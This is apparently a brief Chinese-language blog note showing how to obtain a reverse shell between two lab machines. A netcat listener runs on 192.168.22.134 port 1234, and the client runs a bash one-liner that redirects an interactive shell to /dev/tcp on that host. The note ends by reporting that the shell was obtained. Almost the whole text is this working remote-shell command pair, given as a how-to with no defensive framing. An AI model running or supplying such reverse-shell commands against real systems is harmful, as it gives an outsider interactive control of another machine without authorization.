服务器
192.168.22.134
开启端口监听，监听端口1234
nc -lvnp 1234
++++++++++++++++++++++分割线+++++++++++++++++++++++++++
客户机
192.168.22.136
开启反弹
bash -i >& /dev/tcp/192.168.22.134/1234 0>&1
反弹成功，获得客户机的shell
本文出自 “菜鸟学习笔记” 博客，请务必保留此出处http://bohel.blog.51cto.com/6218546/1980251
原文：http://bohel.blog.51cto.com/6218546/1980251